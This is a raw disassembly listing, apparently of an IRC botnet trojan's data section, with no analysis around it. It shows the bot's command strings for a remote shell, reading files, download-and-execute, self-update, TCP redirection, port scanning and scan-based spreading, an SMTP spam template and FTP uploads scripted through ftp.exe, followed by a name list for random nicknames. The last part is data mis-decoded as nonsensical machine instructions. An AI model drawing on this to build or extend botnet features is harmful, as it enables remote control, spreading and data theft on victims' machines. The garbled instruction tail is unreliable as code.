unk_4392F0	db  2Dh	; -		; DATA XREF: sub_403038+2BABo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToSta_10	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: sub_403038+246Co
aCm		db 'cm',0               ; DATA XREF: sub_403038+2481o
		align 4
asc_439338:				; DATA XREF: sub_403038+2A95o
		dw 0Ah
		unicode	0, <>,0
unk_43933C	db  2Dh	; -		; DATA XREF: sub_403038+2AADo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
dword_439368	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_403038+2AC6o
		dd 732520h
aReadfile	db 'readfile',0         ; DATA XREF: sub_403038+2496o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_403038+24ABo
		align 10h
aR_0:					; DATA XREF: sub_403038+29E7o
		unicode	0, <r>,0
unk_439394	db  2Dh	; -		; DATA XREF: sub_403038+2A53o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4393B8	db  2Dh	; -		; DATA XREF: sub_403038+2A67o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_403038+24C0o
		align 4
aOn		db 'on',0               ; DATA XREF: sub_403038+24DCo
		align 4
dword_4393E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_403038+24F8o
aAlreadyRunni_1	db '- Already running.',0
		align 4
dword_439408	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_403038+2508o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_439434	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_403038+2555o
aFailedToSta_11	db '- Failed to start server, error: <%d>.',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_403038+2560o
dword_43946C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_403038+2583o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_4394A4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_403038:loc_4055C5o
aNoThreadFound_	db '- No thread found.',0
		align 4
aNet		db 'net',0              ; DATA XREF: sub_403038+25A6o
aStart		db 'start',0            ; DATA XREF: sub_403038+2601o
		align 10h
aS_2		db '%s',0               ; DATA XREF: sub_403038+2623o
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_403038+2654o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_4394F8	db  2Dh	; -		; DATA XREF: sub_403038:loc_405696o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
aStop		db 'stop',0             ; DATA XREF: sub_403038+266Bo
		align 10h
aS_3		db '%s',0               ; DATA XREF: sub_403038+2686o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_403038+2690o
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_403038+26ABo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_403038+26B8o
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_403038+26D3o
		align 10h
aDelete_0	db 'delete',0           ; DATA XREF: sub_403038+26E0o
		align 4
aS_6		db '%s',0               ; DATA XREF: sub_403038+26FBo
		align 4
aShare		db 'share',0            ; DATA XREF: sub_403038+2708o
		align 4
aS_7		db '%s',0               ; DATA XREF: sub_403038+272Eo
		align 4
aS_8		db '%s',0               ; DATA XREF: sub_403038+2744o
		align 4
unk_43955C	db  2Dh	; -		; DATA XREF: sub_403038+2776o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
unk_439580	db  2Dh	; -		; DATA XREF: sub_403038:loc_4057B8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
aUser		db 'user',0             ; DATA XREF: sub_403038+278Do
		align 4
aS_9		db '%s',0               ; DATA XREF: sub_403038+27C3o
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_403038+27EAo
		align 10h
aS_11		db '%s',0               ; DATA XREF: sub_403038+27FBo
		align 4
unk_4395B4	db  2Dh	; -		; DATA XREF: sub_403038+282Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_4395D4	db  2Dh	; -		; DATA XREF: sub_403038:loc_40586Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
aSend_2		db 'send',0             ; DATA XREF: sub_403038+283Eo
		align 4
aS_12		db '%s',0               ; DATA XREF: sub_403038+286Do
		align 10h
unk_439600	db  2Dh	; -		; DATA XREF: sub_403038:loc_4058B5o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_439624	db  2Dh	; -		; DATA XREF: sub_403038:loc_4058BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_439640	db  2Dh	; -		; DATA XREF: sub_403038+25CAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aGethost	db 'gethost',0          ; DATA XREF: sub_403038+28D0o
aGh		db 'gh',0               ; DATA XREF: sub_403038+28E1o
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_403038+2944o
		align 4
unk_439694	db  2Dh	; -		; DATA XREF: sub_403038+296Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_4396BC	db  2Dh	; -		; DATA XREF: sub_403038+2987o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
dword_4396EC	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_403038+29C2o
		dd 2E732520h, 0
aKilllog	db 'killlog',0          ; DATA XREF: sub_403038+1903o
aKl		db 'kl',0               ; DATA XREF: sub_403038+1918o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_403038+192Do
		align 10h
aAa		db 'aa',0               ; DATA XREF: sub_403038+1942o
		align 4
unk_439724	db  2Dh	; -		; DATA XREF: sub_403038+54D4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
aPrivmsg_2	db 'privmsg',0          ; DATA XREF: sub_403038+1957o
aPm		db 'pm',0               ; DATA XREF: sub_403038+196Co
		align 10h
unk_439750	db  2Dh	; -		; DATA XREF: sub_403038+548Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
aAction		db 'action',0           ; DATA XREF: sub_403038+1981o
		align 4
aA:					; DATA XREF: sub_403038+1996o
		unicode	0, <a>,0
dword_43977C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_403038+540Fo
unk_439788	db  2Dh	; -		; DATA XREF: sub_403038+542Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
aCycle		db 'cycle',0            ; DATA XREF: sub_403038+19ABo
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_403038+19C0o
		align 10h
a332_0		db '332',0              ; DATA XREF: sub_403038+5364o
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+537Bo
		align 10h
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+53AEo
		align 10h
dword_4397D0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_403038+53BBo
aMode		db 'mode',0             ; DATA XREF: sub_403038+19D5o
		align 4
aM:					; DATA XREF: sub_403038+19EAo
		unicode	0, <m>,0
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+533Eo
		align 4
unk_4397FC	db  2Dh	; -		; DATA XREF: sub_403038+534Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aC_raw		db 'c_raw',0            ; DATA XREF: sub_403038+19FFo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: sub_403038+1A14o
aS_18		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+52F0o
		align 4
dword_43982C	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_403038+530Fo
		dd 25203A29h, 73h
aC_mode		db 'c_mode',0           ; DATA XREF: sub_403038+1A29o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_403038+1A3Eo
aModeS		db 'MODE %s',0          ; DATA XREF: sub_403038+5241o
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+527Eo
		align 4
dword_439864	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_403038+529Do
		dd 203A2973h, 7325h
aC_nick		db 'c_nick',0           ; DATA XREF: sub_403038+1A53o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_403038+1A68o
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_403038+51AFo
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+51EBo
		align 4
dword_43989C	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_403038+520Co
		dd 203A2973h, 7325h
aC_join		db 'c_join',0           ; DATA XREF: sub_403038+1A7Do
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_403038+1A92o
aJoinSS_2	db 'JOIN %s %s',0       ; DATA XREF: sub_403038+5163o
		align 10h
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+519Fo
		align 4
aC_part		db 'c_part',0           ; DATA XREF: sub_403038+1AA7o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: sub_403038+1ABCo
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_403038+50F2o
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_403038+512Eo
		align 4
aUpdateroooom	db 'updateroooom',0     ; DATA XREF: sub_403038+1AD1o
		align 4
aUproo		db 'uproo',0            ; DATA XREF: sub_403038+1AE6o
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_403038+4FC3o
		align 4
dword_439918	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_403038+5066o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
dword_439944	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_403038+50D5o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_439980	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_403038:loc_408117o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_403038+1AFBo
aE:					; DATA XREF: sub_403038+1B10o
		unicode	0, <e>,0
unk_4399D4	db  2Dh	; -		; DATA XREF: sub_403038+4F52o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_4399F8	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_403038+4F5Do
		dd 7325203Ah, 0
aMydear		db 'mydear',0           ; DATA XREF: sub_403038+1B25o
		align 4
aMydear_0	db 'mydear',0           ; DATA XREF: sub_403038+1B3Ao
		align 4
unk_439A24	db  2Dh	; -		; DATA XREF: sub_403038+4E31o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_439A50	db  2Dh	; -		; DATA XREF: sub_403038+4E9Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start transfer thread, error: <%d>.',0
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: sub_403038+1B4Fo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_403038+1B64o
		align 10h
unk_439AA0	db  2Dh	; -		; DATA XREF: sub_403038+4CDBo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_439ADC	db  2Dh	; -		; DATA XREF: sub_403038+4D4Ao
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_403038+1B79o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_403038+1B8Eo
		align 4
unk_439B2C	db  2Dh	; -		; DATA XREF: sub_403038+4BD7o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_439B68	db  2Dh	; -		; DATA XREF: sub_403038+4C46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_13	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_403038+1BA3o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_403038+1BB8o
		align 4
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_403038+4B49o
		align 4
aC_action	db 'c_action',0         ; DATA XREF: sub_403038+1BCDo
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_403038+1BE2o
dword_439BD4	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_403038+49A8o
dword_439BE0	dd 5D73255Bh, 25202A20h, 73252073h, 0 ;	DATA XREF: sub_403038+4A39o
aPortscan	db 'portscan',0         ; DATA XREF: sub_403038+1C06o
		align 4
aPsc		db 'psc',0              ; DATA XREF: sub_403038+1C1Bo
unk_439C00	db  2Dh	; -		; DATA XREF: sub_403038+48CAo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_439C50	db  2Dh	; -		; DATA XREF: sub_403038+4939o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_14	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_403038+1C30o
aAsc		db 'asc',0              ; DATA XREF: sub_403038+1C45o
unk_439C98	db  2Dh	; -		; DATA XREF: sub_403038+4375o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_439CD8	db  2Dh	; -		; DATA XREF: sub_403038+45E2o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_15	db 'Failed to start scan, port is invalid.',0
		align 4
unk_439D0C	db  2Dh	; -		; DATA XREF: sub_403038+463Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_16	db 'Failed to start scan, no IP specified.',0
		align 10h
aRandom_0	db 'Random',0           ; DATA XREF: sub_403038+4788o
		align 4
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_403038+478Fo
		align 4
unk_439D54	db  2Dh	; -		; DATA XREF: sub_403038+47BAo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_439DBC	db  2Dh	; -		; DATA XREF: sub_403038+4829o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_17	db 'Failed to start scan thread, error: <%d>.',0
		align 4
aEmail		db 'email',0            ; DATA XREF: sub_403038+1C5Ao
		align 4
asc_439DFC:				; DATA XREF: sub_403038+1CAEo
		unicode	0, < >,0
a_:					; DATA XREF: sub_403038+1CB3o
		unicode	0, <_>,0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_403038+1D4Fo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
unk_439E50	db  2Dh	; -		; DATA XREF: sub_403038+1DC3o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_403038+42EDo
aHcon		db 'hcon',0             ; DATA XREF: sub_403038+42FEo
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_403038+43A7o
		align 4
unk_439E8C	db  2Dh	; -		; DATA XREF: sub_403038+43D1o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_403038+441Bo
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_403038+442Co
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_403038+445Do
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSS_0		db '-s:%s',0            ; DATA XREF: sub_403038+447Do
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_403038+4494o
aOpen_1		db 'open',0             ; DATA XREF: sub_403038+4499o
		align 4
unk_439EFC	db  2Dh	; -		; DATA XREF: sub_403038+44ADo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 4
dword_439F24	dd 234032Dh, 2707466h, 55202D03h, 616F6C70h, 676E6964h
					; DATA XREF: sub_403038:loc_4074ECo
		dd 6C696620h, 25203A65h, 6F742073h, 7325203Ah, 69616620h
		dd 2E64656Ch, 2	dup(0)
aReal		db 'real',0
		align 10h
		dd 0
dword_439F64	dd 0			; DATA XREF: sub_408B4C+7o
off_439F68	dd offset sub_408768	; DATA XREF: sub_408B4C+49r
aConst		db 'const',0
		align 8
		dd 1, 4087D4h, 7474656Ch, 7265h, 0
		dd 2, 408832h, 706D6F63h, 2 dup(0)
		dd 3, 40887Fh, 6E756F63h, 797274h, 0
		dd 4, 408925h, 736Fh, 2	dup(0)
		dd 5, 40899Ah
off_439FD0	dd offset aAbdulrazak	; DATA XREF: sub_408768+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_439FDC	dd offset aAddison	; DATA XREF: sub_408B4C+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
; ---------------------------------------------------------------------------
		or	[ebp-4AEFFFBDh], dh
		inc	ebx
		add	[eax], bl
		mov	ch, 43h
		add	ds:0B5300043h[esi*4], ah
		inc	ebx
		add	[eax], bh
		mov	ch, 43h
		add	[eax-4Bh], cl
		inc	ebx
		add	[ebp+esi*4+43h], dl
		add	[eax-4Bh], ah
		inc	ebx
		add	[eax-4Bh], ch
		inc	ebx
		add	[eax-4Bh], dh
		inc	ebx
		add	[eax-77FFBC4Bh], al
		mov	ch, 43h
		add	[eax-5BFFBC4Bh], bl
		mov	ch, 43h
		add	[eax-43FFBC4Bh], dh
		mov	ch, 43h
		add	ah, cl
		mov	ch, 43h
		add	ah, dl
		mov	ch, 43h
		add	ah, bl
		mov	ch, 43h
		add	al, ch
		mov	ch, 43h
		add	al, dh
		mov	ch, 43h
		add	al, bh
		mov	ch, 43h
		add	ah, bh
		mov	ch, 43h
		add	[esi+esi*4], al
		inc	ebx
		add	[esi+esi*4], cl
		inc	ebx
		add	[eax], bl
		mov	dh, 43h
		add	[esi+esi*4], ah
		inc	ebx
		add	[esi+esi*4], ch
		inc	ebx
		add	[eax], bh
		mov	dh, 43h
		add	[eax-4Ah], al
		inc	ebx
		add	[eax-4Ah], cl
		inc	ebx
		add	[eax-4Ah], dl
		inc	ebx
		add	[eax-4Ah], bl
		inc	ebx
		add	[esi+esi*4+43h], ah
		add	[eax-4Ah], dh
		inc	ebx
		add	[eax-4Ah], bh
		inc	ebx
		add	[eax-77FFBC4Ah], al
		mov	dh, 43h
		add	[eax-63FFBC4Ah], dl
		mov	dh, 43h
		add	[esi+esi*4-4953FFBDh], ah
		inc	ebx
		add	[esi+esi*4-493FFFBDh], dh
		inc	ebx
		add	ah, cl
		mov	dh, 43h
		add	ah, dl
		mov	dh, 43h
		add	al, ah
		mov	dh, 43h
		add	al, ch
		mov	dh, 43h
		add	ah, dh
		mov	dh, 43h
		add	ah, bh
		mov	dh, 43h
		add	[edi+esi*4], al
		inc	ebx
		add	[edi+esi*4], cl
		inc	ebx
		add	[edi+esi*4], dl
		inc	ebx
		add	[edi+esi*4], bl
		inc	ebx
		add	[edi+esi*4], ah
		inc	ebx
		add	[edi+esi*4], ch
		inc	ebx
		add	[eax], bh
		mov	bh, 43h
		add	[eax-49h], al
		inc	ebx
		add	[eax-49h], cl
		inc	ebx
		add	[edi+esi*4+43h], dl
		add	[edi+esi*4+43h], bl
		add	[edi+esi*4+43h], ah
		add	[edi+esi*4+43h], ch
		add	[edi+esi*4+43h], dh
		add	[eax-77FFBC49h], al
		mov	bh, 43h
		add	[eax-67FFBC49h], dl
		mov	bh, 43h
		add	[eax-57FFBC49h], ah
		mov	bh, 43h
		add	[eax-47FFBC49h], dh
		mov	bh, 43h
		add	al, al
		mov	bh, 43h
		add	ah, cl
		mov	bh, 43h
		add	ah, dl
		mov	bh, 43h
		add	ah, bl
		mov	bh, 43h
		add	ah, ah
		mov	bh, 43h
		add	ah, ch
		mov	bh, 43h
		add	ah, dh
		mov	bh, 43h
		add	ah, bh
		mov	bh, 43h
		add	[eax+edi*4], al
		inc	ebx
		add	[eax+edi*4], cl
		inc	ebx
		add	[eax+edi*4], dl
		inc	ebx
		add	[eax+edi*4], bl
		inc	ebx
		add	[eax+edi*4], ah
		inc	ebx
		add	[eax+edi*4], ch
		inc	ebx
		add	[eax+edi*4], dh
		inc	ebx
		add	[eax-48h], al
		inc	ebx
		add	[eax-48h], cl
		inc	ebx
		add	[eax-48h], dl
		inc	ebx
		add	[eax-48h], bl
		inc	ebx
		add	[eax-48h], ah
		inc	ebx
		add	[eax-48h], ch
		inc	ebx
		add	[eax-48h], dh
		inc	ebx
		add	[eax+edi*4+43h], bh
		add	[eax-6FFFBC48h], cl
		mov	eax, 0B8980043h
		inc	ebx
		add	[eax+edi*4-474FFFBDh], ah
		inc	ebx
		add	[eax+edi*4-4737FFBDh], bh
		inc	ebx
		add	al, dl
		mov	eax, 0B8DC0043h
		inc	ebx
		add	ah, ch
		mov	eax, 0B8F40043h
		inc	ebx
		add	ah, bh
		mov	eax, 0B9040043h
		inc	ebx
		add	[eax], dl
		mov	ecx, 0B9180043h
		inc	ebx
		add	[eax], ah
		mov	ecx, 0B92C0043h
		inc	ebx
		add	[ecx+edi*4], dh
		inc	ebx
		add	[ecx+edi*4], bh
		inc	ebx
		add	[ecx+edi*4+43h], al
		add	[eax-47h], dl
		inc	ebx
		add	[ecx+edi*4+43h], bl
		add	[ecx+edi*4+43h], ah
		add	[eax-47h], dh
		inc	ebx
		add	[eax-47h], bh
		inc	ebx
		add	[eax-77FFBC47h], al
		mov	ecx, 0B9900043h
		inc	ebx
		add	[eax-5BFFBC47h], bl
		mov	ecx, 0B9B00043h
		inc	ebx
		add	[eax-3BFFBC47h], bh
		mov	ecx, 0B9CC0043h
		inc	ebx
		add	al, bl
		mov	ecx, 0B9E00043h
		inc	ebx
		add	ah, ch
		mov	ecx, 0B9F80043h
		inc	ebx
		add	[edx+edi*4], al
		inc	ebx
		add	[eax], dl
		mov	edx, 0BA1C0043h
		inc	ebx
		add	[eax], ah
		mov	edx, 0BA2C0043h
		inc	ebx
		add	[edx+edi*4], dh
		inc	ebx
		add	[eax-46h], al
		inc	ebx
		add	[eax-46h], cl
		inc	ebx
		add	[edx+edi*4+43h], dl
		add	[edx+edi*4+43h], bl
		add	[edx+edi*4+43h], ah
		add	[edx+edi*4+43h], ch
		add	[edx+edi*4+43h], dh
		add	[edx+edi*4+43h], bh
		add	[edx+edi*4-4573FFBDh], al
		inc	ebx
		add	[edx+edi*4-4563FFBDh], dl
		inc	ebx
		add	[edx+edi*4-4553FFBDh], ah
		inc	ebx
		add	[edx+edi*4-4543FFBDh], dh
		inc	ebx
		add	ah, al
		mov	edx, 0BAD00043h
		inc	ebx
		add	al, bl
		mov	edx, 0BAE40043h
		inc	ebx
		add	ah, ch
